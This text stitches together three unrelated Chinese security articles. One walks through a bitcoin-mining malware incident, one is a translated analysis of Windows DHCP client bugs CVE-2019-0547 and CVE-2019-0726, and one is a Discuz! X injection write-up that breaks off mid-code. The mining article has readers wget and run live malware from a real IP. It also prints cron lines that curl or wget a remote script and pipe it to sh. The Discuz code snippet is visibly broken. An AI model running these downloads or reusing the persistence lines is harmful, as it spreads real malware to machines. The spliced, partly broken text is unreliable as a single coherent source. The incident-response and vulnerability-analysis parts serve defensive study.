* （2）比特币发行机制
在比特币的系统中，旷工们用一种特别的软件来解决数学难题，作为工作量的回报，款共可以获取取比特币系统新生成的特定数量的比特币，这种机制就是比特币系统提供的一种发行货币的创新方式，同时也提供人们参与挖矿的动机。
* （3）货币发行实际场景解析
大家如果看了上面的解释还不清楚，笔者结合前面区块链的内容再结合实际场景的给亲们解释下。
我们通过前面学习知道，比特币网络中每10分钟会生成一个新的区块，这个新生成的区块其会包含多个内容。
第一个内容：就是最近这10分钟产生的所有比特币支付交易记录；
第二个内容：是区块锁（即签名或者说前面说的数学难题的答案）；
第三个内容：就是即将新发行的比特币（奖励给第一个算出数学难题的旷工）。
现在我们把这三个内容联系起来，我们知道比特币P2P网络中每个人都一本账本，那是不是意味着每个都可能去篡改自己的账本呢，是的存在这个可能，所以比特币网络设计了区块链的技术来防止这个情况的出现，那么每个人手中的账本如何可靠安全的更新呢？
好的，我们现在重回到区块链技术，我们知道比特币网络每10分钟生成一个区块，通俗点就是一个当前10分钟网络中所有交易的账本记录，为防止有人恶意篡改，区块链被加了签名（即一把锁/答案）防止被恶意篡改，比特币网络中第一个破解了这个签名的人，即可以新的区块加到原始的区块链上去；我们知道谁也不可能义务劳动，所以在被更新的区块中还包了对第一个破解人的
**比特币奖励** 的更新账单记录；这个 **奖励的比特币方式** 就是发行新比特币的方法和过程了。
# 二、恶意挖矿程序的由来
我们现在了解到旷工是整个比特币系统运行的底层基础运算保障，也是整个区块链技术的核心部分，比特币系统运行机制中为了保障整个比特币的系统有效运行和吸引更多的个体投入到系统中来，设立对旷工工作的奖励机制即通过衡量他们的运算贡献给以比特币的奖励。也因此现实社会中有了更多的人愿意将个人的计算机运算能力提供给比特币的网络系统，随着比特币的价值提升，更多的人有组织、有体系的，合法甚至不合法的去给比特币系统网络提供运算支持，其基本发展历程如下。
## 2.1 矿工与货币发行回顾
在将恶意挖矿程序由来之前，我们需要回顾下什么是矿工、挖矿奖励机制、比特币的发行。
我现在都知道在比特币系统中，矿工们是用一种特别的软件来解决数学难题，来作为交换比特币系统生成的特定数量的比特币,而这种机制提供了一种发行货币的创新方式，同时也创造了人们参与挖矿的动机。由于比特币网络的交易需要矿工来进行验证，更过矿工的参与也意味着更安全的比特币网络，但同时随着矿工越来越多，比特币系统也会自动会自动改变这些数学题目的难度，而难度的变化的速度，通常又取决于解题的速度。
## 2.2 挖矿的历史历程介绍
### 2.2.1 一般CPU计算的时代
最早期的矿工们都是使用个人使用计算的CPU进行为挖矿，这是最原始的挖矿；
### 2.2.2 显卡的时代
不久之后，矿工们发现使用显卡更适合于挖矿工作，显卡速度虽然快；但是显卡万科也有其自身的缺陷，就是需要消耗更多的电力，温度也会过高；人们发现挖矿的成本增大了；
### 2.2.3 ASIC 芯片时代
随后挖矿利益的驱动，出现专业更专业的挖矿产品，为挖矿提供专业的编程芯片，这种挖矿机虽然加快了挖矿速度，但仍然需要消耗大量的电力；
ASIC 芯片的挖矿时代就应用而生了，特定的ASIC技术通过更少的消耗电量让比特币挖矿更快；
### 2.2.4 矿场与矿池的时代
* （1）矿场的诞生
随着ASIC芯片专业技术的出现，挖矿的难度也增大了，为了获取更大的利益，出现了大量的投资人投资建立机房的运行模式，大批量的投资建设机房的模式来进行挖矿，这种以款场的模式就出现了。这类矿厂在今年之前，中国的系统占据了整个比特币网络的半壁江山，因为中国的系统有着大量的廉价电力可以被提供来进行挖矿；
* （2）矿池的诞生
随着比特币的日益流行，越来越多的人加入挖矿这个行列，使得挖矿的难度也不断的提升，为了克服这个问题，矿工们开发出了“矿池”的挖矿方式，矿池结合了所有个人的计算能力，让更多的个人也还可以加入到挖矿的行列中来了，这种模式为更快的找到难题的也提供了一种解决方案，而每个参与的矿工依据他们为矿池提供的工作量的比例分配矿池中的收益。
## 2.3 挖矿恶意程序总结
上面铺垫说了这么了多，相信大家看到矿池的出现时，就都明白了“挖矿恶意程序”的由来了。是的，没错了，挖矿恶意程序其实就是矿池模式中矿池的一员，正常矿池中的成员都是自愿加入矿池中，为矿池提供计算能力，然后依据自己的计算贡献能力，从矿池的收益中来获取自己的分配所得。但是恶意程序是在未授权的情况下向你的服务器恶意植入的一个程序，并盗用了你个人计算机的计算能力来为Hacker挣钱的行为。
这就是我们经常说挖矿事件的真实面目了，说了这么多不知道大家是否明白了，嘴巴都说干了。
# 三、本地实验环境搭建
以上说了这么多都在跟大家一起去学习和了解下比特币是什么、挖矿是什么、恶意挖矿程序又是怎么由来的，详细此时大家应该都或多或少有了一点的了解了，那么接下来就是我们看看安全当中恶意挖矿程序是如何运行，我们如果不幸中招了如何快速做出响应和处理。
## 3.1 挖矿恶意程序分析
### 3.1.1 挖矿恶意脚本程序
本次试验环境中使用的挖矿恶意程序主要基于实际环境中捕获的恶意程序进行分析后总结后从网络中直接获取的,涉及的程序包含“ **1个shell脚本** ”和“
**2个可执行程序** ”，具体名称如下（未做任何改动）。
* i.sh shell脚本
* dgg2020 恶意程序 （分为x86 x64）
* wnTKYg 恶意程序
### 3.1.2 挖矿恶意程序详解
#### 3.1.2.1 i.sh shell 脚本
脚本下载地址: <http://218.248.40.228:8443/i.sh>
i.sh 通过以上脚本内容分析，我们可以清晰的看到i.sh就是一个shell脚本，他主要功能我们通过分析可以知道，其主要负责完成以下两件事情。
第一个任务：每五分钟下载一次i.sh脚本，并执行，目的应该就是为了循环执行以达到一个守护的目的；
第二个任务：依据当前系统的架构，下载相对于的ddg程序，并授予可执行权限然后运行。
#### 3.1.2.2 dgg.xxxx 可执行程序
* （1）版本分析
通过上面的i.sh脚本，我们可以看到dgg.2021的下载地址，分析的过程中我们可以知道程序设计考虑还很周全，分为了x86 与
x86_64两个不同架构的版本。
在分析的过程中还发现这个ddg.xxx这个程序的版本有2020与2021两个版本，其实在我写这篇文档时，进行环境复现时版本已经升级到2021版本了，更新还挺频繁的，其实还远不止这两个版本。
* （2）功能分析
通过实际环境分析，发下dgg.xxxx这个程序的主要功能就是下载wnTKYg并运行他，同时其还是wnTKYg的守护者，当我们删除wnTKYg是，如果未能删除dgg.xxxx，那么很快wnTKYg还会再次复活。
#### 3.1.2.3 wnTKYg 可执行程序
wnTKYg这个程序直接读取是无法看到其内部内容的，个人能有限，也无法做到具体内容的分析，如果哪位大神有这个闲情，请带我飞。这里我仅从其运行的特性来分析下其主要功能。
这里放出一张直接手动运行wnTKYg程序后的截图，通过上面这张图我们其实可以很直接看到三个关键字“miner”、“Pool”、“block”，是不是我们第一个章节中废话说了那么多，就这个三个词能，是的“矿工”、“矿池”、还有就是“区块链技术”。所以，这里不言而喻这个wnTKYg就是挖矿的主程序了，就是负责给比特币网络提供底层运算的劳工了。
## 3.2 环境搭建
### 3.2.1 下载恶意代码程序
# wget http://218.248.40.228:8443/i.sh
# wget http://218.248.40.228:8443/2021/$(uname -m)
# wget http://218.248.40.228:8443/wnTKYg
## 3.2.2 运行脚本搭建环境
### 3.2.2.1 运行失败小插曲
我第一次搭建环境的时候使用的是个人的PC来搭建的运行环境，运行的过程中发现，下载的恶意`wnTKYg`程序主动运行时进行报错，告诉我的CPU 没有AES-IN。
查询发现这个AES-IN,代表的是`Advance Encryption Standard New Instructions;AES-IN`
高级加密标准新指令集，这也就意味着你的CPU如果不支持 AES-IN，还不配有挖矿的资格，想成为肉鸡都不配，我只能笑着说，是我太LOW，我太小白了，我不懂...(其实心中千万个cao ni ma 奔驰而过...)
接着通过以下命令检查了下我的CPU是否真的不支持AES-IN。
# cat /proc/cpuinfo |grep aes
原来我的台式机真的不支持AES-IN这个高级指令集，随后我看了下我的最新的笔记本，OK，还算幸运竟然支持，随后将CentOS7的环境移植到了我的笔记本中，继续进行试验。
### 3.3.2.2 更换环境运行成功
重新找了一台新的环境，在验证了服务的CPU支持AES-IN指令集的情况下，重新安装捕获的恶意程序运行脚本，运行一切OK。
**注意事项**
环境脚本运行的时候要注意，就是先下载i.sh，然后直接运行等待一段时间即可。（主要是由于运行i.sh文件后，他需要去下载ddg.2021主程序，这个程序相对较大而且还在国外）待ddg.2021程序运行正常后，随后它就会去下载wnTKYg这个程序计算程序，他也运行成长，环境就搭建成功了。
如果你发现你等待了很久都环境都没搭建成功，可以尝试清除一下计划任务表，因为计划任务表会循环下载ddg.2021文件，可能会影响ddg.2021的正常运行。
# 四、挖矿恶意程序处理流程
## 4.1 异常问题定位
### 4.1.1 异常进程排查
#### （1）top 排查
使用top命令直接动态排查可能异常进程，配合 `-c`可以直接查找到异常进程的物理位置。
# top -c
#### （2）ps -ef 排查
# ps -ef |grep wnTKYg
# ps -ef |grep ddg.2021
#### （3） 疑似进程定位
[root@localhost ~]# find / -name wnTKYg*
/tmp/wnTKYg
[root@localhost ~]#
### 4.1.2 异常会话排查
#### （1） # netstat -pantul |grep ESTAB
查询会话建立情况，查看是否有异常会话连接。
[root@MiWiFi-R3-srv tmp]# netstat -pantul |grep ESTAB
tcp 0 0 192.168.31.9:22 192.168.31.75:3898 ESTABLISHED 3742/sshd
tcp 0 0 192.168.31.9:56842 163.172.226.120:443 ESTABLISHED 7263/wnTKYg
tcp 0 0 192.168.31.9:22 192.168.31.75:3953 ESTABLISHED 3795/sshd
tcp 0 0 192.168.31.9:35286 104.131.231.181:8443 ESTABLISHED 7193/ddg.2021
tcp 0 0 192.168.31.9:55200 218.248.40.228:8443 ESTABLISHED 6339/curl
[root@MiWiFi-R3-srv tmp]#
### 4.1.3 计划任务排查
#### （1） # crontab -l
查询当前计划任务中是否存在异常未知的任务被添加。
[root@localhost ~]# crontab -l
*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh
*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh
You have new mail in /var/spool/mail/root
#### （2） 直接查询用户任务配置文件
[root@MiWiFi-R3-srv ~]# tree /var/spool/cron/
/var/spool/cron/
├── crontabs
│ └── root
└── root
1 directory, 2 files
[root@MiWiFi-R3-srv ~]# cat /var/spool/cron/root
*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh
*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh
[root@MiWiFi-R3-srv ~]# cat /var/spool/cron/crontabs/root
*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh
*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh
[root@MiWiFi-R3-srv ~]#
### 4.1.4 恶意程序确认
如果此时你还不确认当前程序是否是恶意程序，可以直接将定位到的疑似恶意程序进行md5 hash后进行校验比对进行确认。
**md5校验网站** ：<https://www.virustotal.com/#search>
（1） 进行疑似文件的md5sum 哈希
[root@MiWiFi-R3-srv tmp]# md5sum wnTKYg
d3b1700a413924743caab1460129396b wnTKYg
[root@MiWiFi-R3-srv tmp]#
（2） 进行MD5哈希疑似病毒校验比对
直接将疑似文件wnTKYg的md5哈希值复制到病毒校验网站<https://www.virustotal.com/#search进行查询比对。通过比对结果，我们可以清晰的看到wnTKYg为恶意程序。>
## 4.2 挖矿恶意程序处理方式
### 4.2.1 直接清理恶意程序
#### （1）清除计划任务
首先第一步需要先删除计划任务，因为计划任务会每5分钟循环下载恶意程序并授权执行；
* 方法一
直接使用crontab命令配合参考 -r 直接情况crontab列表中的任务，使用前请确认任务列表中任何生产相关的计划任务。
# crontab -r # 直接使用此命令即可上次当前用户的计划任务
#
# crontab -l # 直接查询当前用户是否还存在计划任务
no crontab for root
* 方法二
在确认计划可能还存在其他正常业务需要的时候，我可以直接编辑计划任务的配置文件,删除我们看到恶意写入的计划任务内容。
# vi /var/spool/cron/root
#
# /var/spool/cron/crontabs/root
分别编辑以上两个root配置文件，删除恶意计划任务内容，即可。
*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh
*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh
~
~
~
#### （2） 杀死恶意进程
第二步就杀死相关的恶意运行行为的程序，除了wnTKYg与ddg.2021以为，当前若存在curl程序，也应该将其杀死。
* 方法一：直接杀死程序
# pkill wnTKYg
# pkill dgg.2021
# pill curl
* 方法二：杀死恶意程序进程号
注：方法二往往都是在方法一不好使的时候强制来使用的。
# ps -ef |grep wnTKYg # 查询恶意程序的ps进程号
# kill -9 PID
## ps -ef |grep ddg.2021 # 查询恶意程序的ps进程号
# kill -9 PID
## ps -ef |grep curl # 查询恶意程序的ps进程号
# kill -9 PID
#### （3） 清除恶意程序
清理过程的最后一步才是进行相关恶意程序的删除操作。
# rm -rf /tmp/wnTKYg
# rm -rf /tmp/ddg.2021
# rm -rf /tmp/i.sh
### 4.2.2 禁止服务主动访问互联网
禁止服务主动访问互联网的方法是我们快速处理挖矿恶意程序对服务器影响的最快，最有效的方法，也是一劳永逸的，当然有外面的人是怎么进来的，不是我们这里主题，这里不做过多的说明。接下来就详细的记录与分析下我们为什么这么做，怎么做。
#### 4.2.2.1 问题分析
* （1） wnTKYg 分析
通过对挖矿程序的运行机制我可以知道，矿工（miner）即恶意程序wnTKY的主要运行机制就是为比特币网络提供底层的运算的能力，即需要主动去链接外网，如果此时我限制服务器主机主动访问网络的话，是不是就可以限制wnTKY的运行能。有过对挖矿恶意程序处理经验的小伙伴都知道，其实挖矿恶意程序唯一做的事情就是在你为授权的情况利用你服务主机的运算能力为黑客搭建的
**矿池**
提供计算能力，帮他挣钱。一旦我们的服务不能主动访问互联网了，其实对于这里黑客就没有意义了，因为此时我们的服务就无法将计算的结果提交给矿池了，也无法同步与下载计算任务了。
* （2） i.sh 与ddg.2021分析
通过前面的分析学习，我们知道ddg.2021程序是主程序也是wnTKYg的守护进程，其是由i.sh下载下来并执行的，所以对于i.sh与ddg.2021的下载，我们也要禁止掉。
#### 4.2.2.2 如何下发网络访问控制
其实禁止主机主动访问互联的方法有很多，比如可以通过网络中的防火墙禁止服务主动连接互联；或者在做内网返现代理时，就不代理内网服务器都可以实现我们的目标。
不过我这里只说明了怎么利用我们的Linux服务器只带的防火墙iptables来下发访问控制，禁止服务主动连接互联网。
* （1） 检查恶意程序外网互联地址
第一步就是通过会话监控命令，监控查询恶意程序 wnTKYg、ddg.2021、curl下载的外网互联地址；
[root@MiWiFi-R3-srv tmp]# netstat -pantul |grep ESTAB
tcp 0 0 192.168.31.9:22 192.168.31.75:3898 ESTABLISHED 3742/sshd
tcp 0 0 192.168.31.9:56842 163.172.226.120:443 ESTABLISHED 7263/wnTKYg
tcp 0 0 192.168.31.9:22 192.168.31.75:3953 ESTABLISHED 3795/sshd
tcp 0 0 192.168.31.9:35286 104.131.231.181:8443 ESTABLISHED 7193/ddg.2021
tcp 0 0 192.168.31.9:55200 218.248.40.228:8443 ESTABLISHED 6339/curl
* （2） 下发外网访问控制策略
依据查询出的外网互联地址，直接下发访问控制策略，禁止服务访问这些网络地址。
[root@MiWiFi-R3-srv tmp]# iptables -A OUTPUT -d 163.172.226.120 -j DROP
[root@MiWiFi-R3-srv tmp]# iptables -A OUTPUT -d 104.131.231.181 -j DROP
[root@MiWiFi-R3-srv tmp]# iptables -A OUTPUT -d 218.248.40.228 -j DROP
[root@MiWiFi-R3-srv tmp]#
## 4.3 找到入侵的源头
以上所有说的这么多都是与大家一起了解下挖矿的恶意程序是怎么运行的，在我们的服务器到底做了些什么，我应该如何应对这个恶意程序，当然也可以为其他恶意程序的问题定位与处理提供借鉴与参考。
但是，归根结底问题还是出在我们的服务上，我们的服务可能存在漏洞被人恶意利用了，服务被入侵，我们必须找到入侵的根源才能确保服务的安全。
有关服务器入侵根源的查找的方法，这里不做展开说明了，简单记录下基本思路。
* （1）查找当前服务器日志，收集可能入侵的痕迹，确认入侵的根源；
* （2）针对服务器应用和主机层面进行自查与安全扫描，确认服务器本身是否存在大的漏洞
* （3）在确认或疑似漏洞被确认后，迅速的安排进行加固修复，
* （4）建议最好对关键数据进行备份，重新部署系统与应用，并进行相应的安全配置，修复存在的安全漏洞，重新上线。
# 五、挖矿事件应急处理总结
## 5.1 确认挖矿事件
### 5.1.1 异常进程排查
# 进程动态快速定位，使用 top -c可快速定位异常经常的物理位置，查询异常进程。
# top -c
# ps -ef 排查
# ps -ef |grep wnTKYg
# ps -ef |grep ddg.2021
# 疑似进程定位
[root@localhost ~]# find / -name wnTKYg*
/tmp/wnTKYg
[root@localhost ~]#
### 5.1.2 异常会话排查
# 查询会话建立情况，查看是否有异常会话连接。
# netstat -pantul |grep ESTAB
### 5.1.3 计划任务查询
[root@localhost ~]# crontab -l
*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh
*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh
You have new mail in /var/spool/mail/root
### 5.1.4 异常病毒校验
**第一步：使用md5sum 命令进行疑似文件哈希**
# md5sum wnTKYg
d3b1700a413924743caab1460129396b wnTKYg
**第二步：进行疑似病毒MD5哈希值的校验比对**
直接将疑似文件wnTKYg的md5哈希值复制到病毒校验网站<https://www.virustotal.com/#search进行查询比对。通过比对结果，我们可以确认疑似文件是否是恶意程序。>
## 5.2 处理恶意程序
### 5.2.1 清除计划任务
# crontab -r # 直接使用此命令即可上次当前用户的计划任务
#
# crontab -l # 直接查询当前用户是否还存在计划任务
no crontab for root
### 5.2.2 杀死恶意进程
# pkill wnTKYg
# pkill dgg.2021
# pill curl
### 5.2.3 清除恶意进程
# rm -rf /tmp/wnTKYg
# rm -rf /tmp/ddg.2021
# rm -rf /tmp/i.sh
### 5.2.4 下发访问控制策略
下发访问控制策略，禁止服务互联三个恶意程序外联的外网地址。
# 查询恶意进程外网互联地址
#
# netstat -pantul |grep ESTAB
tcp 0 0 192.168.31.9:22 192.168.31.75:3898 ESTABLISHED 3742/sshd
tcp 0 0 192.168.31.9:56842 163.172.226.120:443 ESTABLISHED 7263/wnTKYg
tcp 0 0 192.168.31.9:22 192.168.31.75:3953 ESTABLISHED 3795/sshd
tcp 0 0 192.168.31.9:35286 104.131.231.181:8443 ESTABLISHED 7193/ddg.2021
tcp 0 0 192.168.31.9:55200 218.248.40.228:8443 ESTABLISHED 6339/curl
# 下发放控制策略，禁止服务的外网互联
#
# iptables -A OUTPUT -d 163.172.226.120 -j DROP
# iptables -A OUTPUT -d 104.131.231.181 -j DROP
# iptables -A OUTPUT -d 218.248.40.228 -j DROP
# 学习参考
* （1）比特币概念介绍
[https://mp.weixin.qq.com/s?__biz=MzI1MTkwNjg5Mw==&mid=2247483744&idx=1&sn=4e4db07b5b4bd4a70d0470a82730ebac&scene=21#wechat_redirect](https://mp.weixin.qq.com/s?__biz=MzI1MTkwNjg5Mw==&mid=2247483744&idx=1&sn=4e4db07b5b4bd4a70d0470a82730ebac&scene=21#wechat_redirect)
* （2）视频讲解
<https://www.youtube.com/watch?v=N35nul3srWk>
<https://www.youtube.com/watch?v=vqSautdQEoI>
* （3）木马清除
<http://friendlysong.blog.163.com/blog/static/32252439201722932034657/>
* （4） tcpdump 详解
<http://roclinux.cn/?p=2474> | 社区文章 |
当Windows的1月更新发布时，公众均对DHCP客户端中的`CVE-2019-0547`漏洞的消息所震惊。极高的`CVSS`评分伴随着微软没有立即发布可利用性指数评估这一事实使得用户一时难以决定是否需要立刻更新其系统。一些出版物甚至推测，可利用性指数的缺失表明在不久的将来会出现危害极大的漏洞利用。
`MaxPatrol`等解决方案可以识别网络上的哪些计算机容易受到某些攻击。其他解决方案若要检测此类攻击是否能起作用，需要描述识产品中的漏洞规则并检测这些产品的攻击规则。反过来，对于漏洞我们都会找出利用的方法和条件。换句话说，与简单介绍漏洞的网站活CVE中的描述中找到的内容相比，完美利用此漏洞需要我们对其更加深入和全面的理解，例如：
此漏洞的原因是操作系统错误地处理内存中的对象。
因此，要使用针对DHCP中新发现的漏洞的攻击检测规则来更新我们的产品，我们需要深入了解漏洞所有细节。 对于二进制漏洞，我们通常可以通过使用`patch-diff`来解决位于其根目录的错误，`patch-diff`比较并识别由特定补丁或更新对应用程序、库或操作系统内核的二进制代码所做的更改。
然而第一步永远是进行初步尝试。
### 漏洞初探
我们首先需要测试搜索引擎，查询当前已知的有关此漏洞的所有内容。 其中大部分是从`MSRC`网站上发表的第一手信息。
这种情况是`Microsoft`漏洞处于内部处理时的典型情况。
从互联网的搜索资料中，我们发现我们正在处理在`Windows
10`版本`1803`上运行的客户端和服务器系统中包含内存损坏漏洞，并且当攻击者向`DHCP`客户端发送特制响应时它会显示。 几天后，该页面出现了指数评级：
我们可以看到，MSRC的评级为2。这意味着错误很可能是不可利用的，或者利用它是十分困难并且需要花费许多精力。不可否认，微软很少出现如此低分的习惯。因此，我们假设如果此评分表明利用不太可能，那可能就是真的。我们可以仅仅完成分析工作。然而仔细检查漏洞并查看漏洞如何利用总会有收获。
在同一站点上，我们下载以`.msu`存档提供的补丁，将其解压缩并查找最有可能与客户端DHCP响应处理相关的文件。现在提供的更新不是作为修复特定错误的单独包，而是作为包含所有每月修复的单个包。这使得我们必须处理许多无关变量以找到所需数据。
在过多的文件中，我们的搜索出现了几个与过滤器匹配的库，我们将它们与未修补系统上的版本进行比较。
`dhcpcore.dll`库看起来我们所需要的。同时`BinDiff`显示出最小的变化：
实际上，此处只对一个函数`DodedDomainSearchListData`进行了更改。
如果用户熟悉`DHCP`协议及其很少使用的函数，则已经知道该函数处理的列表。
### DHCP及其选项
DHCP（RFC 2131|wiki）是一种可扩展的协议，其可扩展性通过`options`字段实现。
每个选项由唯一标记（编号，标识符），选项中包含了数据大小以及数据本身描述。 这是典型的网络协议，并且在协议中“插入”域搜索选项，其在`RFC
3397`中进行描述。它允许DHCP服务器在客户端上设置标准域名结尾。 这些将用作以这种方式设置的连接的DNS后缀。
例如，假设在我们的客户端上我们设置了以下名称结尾：
.microsoft.com
.wikipedia.org
然后，在按域名确定地址的尝试中，这些结尾将逐个插入`DNS请求`，直到找到匹配为止。
例如，如果用户在浏览器地址栏中键入ru，则首先为`ru.microsoft.com`形成DNS请求，然后为`ru.wikipedia.org`形成DNS请求：
实际上，现代浏览器是非常智能的，因此它们通过重定向到搜索引擎来对类似于FQDN的名称作出反应。 因此，我们稍后将提供较少实用程序的输出：
读者可能会认为这是漏洞的本质。
就其本身而言，当网络上的任何设备都可以识别时，使用`DHCP`服务器更改`DNS后缀`的能力对使用`DHCP`请求任何网络参数的客户端构成威胁。
但那还不是全部。 从`RFC`中可以明显看出，这被认为是非常合法且记录在案的行为。 实际上，`DHCP`服务器是一个可信组件，能够影响连接到它的设备。
### 域搜索选项
域搜索选项号为0x77。 与所有选项一样，它带有选项号的单字节标记编码。 和大多数选项一样，标签后面跟着大小的单字节大小的数据。
`DHCP`消息可以包含多个选项副本。 在这种情况下，来自所有这些部分的数据以与消息中相同的顺序连接。
在取自`RFC 3397`的示例中，数据被分成三个部分，每个部分包含9个字节。 从图中可以看出，完整域名中的子域名使用单字节名称长度编码，后跟名称本身。
完整的域名代码以空字节结尾（子域名的空值大小）。
此外，该选项使用最简单的数据压缩方法：重新分析点。 该字段可能包含`0xc0`，而不是域名大小。
然后，下一个字节将建立相对于用于搜索域名结尾的选项的数据开头的偏移量。
因此，在我们的示例中，我们有一个包含两个域后缀的编码列表：
.eng.apple.com
.marketing.apple.com
### DecodeDomainSearchListData函数
数字为`0x77`的DHCP选项允许服务器在客户端上设置DNS后缀。但不适用于装有Windows操作系统的计算机。传统上，`Microsoft`系统忽略了此选项，因此在必要时，使用组策略在历史上结束了`DNS`名称。但最近，当`Windows
10`版本1803的新版本引入域搜索选项处理时，情况发生了变化。如下所示，`dhcpcore.dll`中的函数名称已更改，它是包含错误的添加的处理程序本身。
现在让我们开始工作吧。梳理一下代码，这就是我们找到的。正如人们可能猜到的那样，`DecodeDomainSearchListData`过程解码来自服务器的消息的域搜索选项中的数据。作为输入，它采用如前所述打包的数据数组，并输出以空字符结尾的字符串，其中包含以逗号分隔的域名结尾列表。例如，该函数将上述示例中的数据转换为以下字符串：
`eng.apple.com,marketing.apple.com`
`DecodeDomainSearchListData`是通过`UpdateDomainSearchOption`函数调用的，此函数将返回的列表写入注册表项的“`DhcpDomainSearchList`”参数中：
`HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{INTERFACE_GUID}\`
它存储特定网络接口的主要参数。
`DecodeDomainSearchListData`函数进行两次传递。 在第一次传递时，它执行除输入缓冲区之外的所有操作。
所以第一遍用于计算保存返回数据所需的内存大小。 在第二遍中，为该数据分配存储器并填充分配的存储器。 该函数不是太大 - 大约250条指令 -它的主要工作是处理输入流中字符的三种可能变体中的每一种：1）0x00,2）0xc0或3）所有值。
与`DHCP`相关的错误的修复归结为在第二遍开始时添加对结果缓冲区大小的检查。 如果大小为零，则不为缓冲区分配内存，并且该函数完成执行并返回错误：
因此，只有当目标缓冲区的大小为零时，漏洞才会显示出来。 并且在一开始该函数检查其输入，其大小不能小于两个字节。
因此，利用需要找到以输出缓冲区的大小等于零的方式形成的非空域后缀选项。
### 攻击过程
我们首先想到的是使用重解析来确保非空输入数据生成一个空的输出字符串：
设置为使用具有此类内容的选项进行响应的服务器确实会导致对未更新的客户端的访问冲突。当函数解析部分完整域名时，它会将该部分复制到目标缓冲区并附加句点。
在RFC的此示例中，以下数据将按以下顺序复制到缓冲区：
1). eng.
2). eng.apple.
3). eng.apple.com.
然后，当在输入数据中遇到零域大小时，该函数将目标缓冲区中的前一个字符从句点更改为逗号：
4). eng.apple.com,
进行解析操作：
5). eng.apple.com,marketing.
6). eng.apple.com,marketing.apple.
7). eng.apple.com,marketing.apple.com
8). eng.apple.com,marketing.apple.com
当输入数据结束时，剩下的就是用空字符替换最后一个逗号，这里有一个准备好写入注册表的字符串：
9). eng.apple.com,marketing.apple.com
当攻击者发送如上所述形成的缓冲区时会发生什么？从示例中我们可以看到它包含的列表由单个元素组成 -一个空字符串。在第一次传递时，该函数计算输出数据大小。由于数据不包含任何非零域名，因此大小为零。
在第二遍中，为数据分配堆内存块并复制数据。但解析函数会立即遇到指示域名结尾的空字符，因此，如前所述，它会将前一个字符从句点更改为逗号。然后我们遇到了问题。目标缓冲区迭代器设置为零。前一个字符属于堆内存块的标头。此字符将更改为`0x2c,`这里是一个逗号。
但是，这仅在32位系统上发生。使用`unsigned
int`存储目标缓冲区迭代器的当前位置会导致处理x64系统时发生更改。让我们更仔细地看一下负责将逗号写入缓冲区的代码片段：
使用32位寄存器`eax`从当前位置减去，但在寻址缓冲区时，代码寻址完整的64位寄存器rax。在`AMD64`架构上，任何具有32位寄存器的操作都会将寄存器的高半字清零。这意味着rax寄存器将在减法存储`0xffffffff`之后成为非`-1`。因此，在64位系统上，值`0x2c`将写入地址`buf
[0xffffffff]`，这是在为缓冲区分配的内存之外。
这些发现与Microsoft的可利用性评分密切相关，因为要利用此漏洞，攻击者必须学习如何在DHCP客户端上执行远程堆攻击，以及对堆内存分配进行充分控制以确保预设值（即，逗号和句号）被写入准备好的地址并引起可控的不利影响。
否则，将数据写入未经检查的地址将导致`svchost.exe`进程失败，其中包含当前可能托管的所有服务，以及操作系统随后重新启动这些服务。如果情况许可，攻击者也可以利用这一优势。
### CVE-2019-0726
如果我们仔细查看导致错误的数据类型并将该数据与错误发生进行比较，我们可以看到域名列表已经发生更改，即生成的缓冲区大小不会为零，
但我们仍然会尝试将其写入缓冲区。 为此，列表的第一个元素必须是空字符串，而所有其他元素可能包含名义域名。 例如：
该选项包括两个元素。 第一个域后缀为空，它立即以空字节结束。 第二个后缀是`.ru`。
计算出的输出字符串大小为3个字节。同时，数据开头的零将强制函数将逗号写为结果字符串中的前一个字符，但由于迭代器在字符串中的当前位置是零，它将在分配的缓冲区之外写入。
现在我们需要通过实际测试来确认我们的理论结果。
让我们模拟一个`DHCP`服务器使用带有`present`选项的消息响应客户端请求的情况，当我尝试在为结果字符串分配的缓冲区的`0xffffffff`位置写一个逗号时，我们立即发现异常：
这里寄存器`r8`包含一个指向传入选项的指针，`rdi`包含分配的目标缓冲区的地址，而`rax`包含该缓冲区中必须写入字符的位置。这些是我们在安装了所有更新的系统上获得的结果。
本文为翻译稿件，翻译来自：[http://blog.ptsecurity.com/2019/05/dhcp-security-in-windows-10-analyzing.html](http://blog.ptsecurity.com/2019/05/dhcp-security-in-windows-10-analyzing.html) | 社区文章 |
原创作者: kn1f3@无糖信息阿斯巴甜攻防实验室 && kn1f3@PKAV
## 前序
提交给TSRC了，快过年了 就发出来吧
## 漏洞版本
Discuz! X系列全版本 截止到 Discuz! X3.4 R20191201 UTF-8
## 漏洞详情
挖过discuz 漏洞的都知道 它会对大部分传参进来的值进行过滤和校验 ，所以当时找了一个二次注入的点
uc_server\model\base.php 37行
<?php
/*
[UCenter] (C)2001-2099 Comsenz Inc.
This is NOT a freeware, use is subject to license terms
$Id: base.php 1167 2014-11-03 03:06:21Z hypowang $
*/
!defined('IN_UC') && exit('Access Denied');
class base {
var $sid;
var $time;
var $onlineip;
var $db;
var $view;
var $user = array();
var $settings = array();
var $cache = array();
var $app = array();
var $lang = array();
var $input = array();
function __construct() {
$this->base();
}
function base() {
$this->init_var();
$this->init_db();
$this->init_cache();
$this->init_app();
$this->init_user();
$this->init_template();
$this->init_note(); //跟进
$this->init_mail();
}
uc_server\model\base.php 198行 开始
function init_note() {
if($this->note_exists()) { //跟进
$this->load('note');
$_ENV['note']->send();
}
}
function note_exists() {
$noteexists = $this->db->result_first("SELECT value FROM ".UC_DBTABLEPRE."vars WHERE name='noteexists".UC_APPID."'"); //从配置文件取值UC_APPID
return FALSE;
} else {
return TRUE;
}
}
查找UC_APPID
source\admincp\admincp_setting.php 2523行
$settingnew = $_GET['settingnew']; //传入
if($operation == 'credits') {
$extcredits_exists = 0;
foreach($settingnew['extcredits'] as $val) {
if(isset($val['available']) && $val['available'] == 1) {
$extcredits_exists = 1;
break;
}
}
if(!$extcredits_exists) {
cpmsg('setting_extcredits_must_available');
}
if($settingnew['report_reward']) {
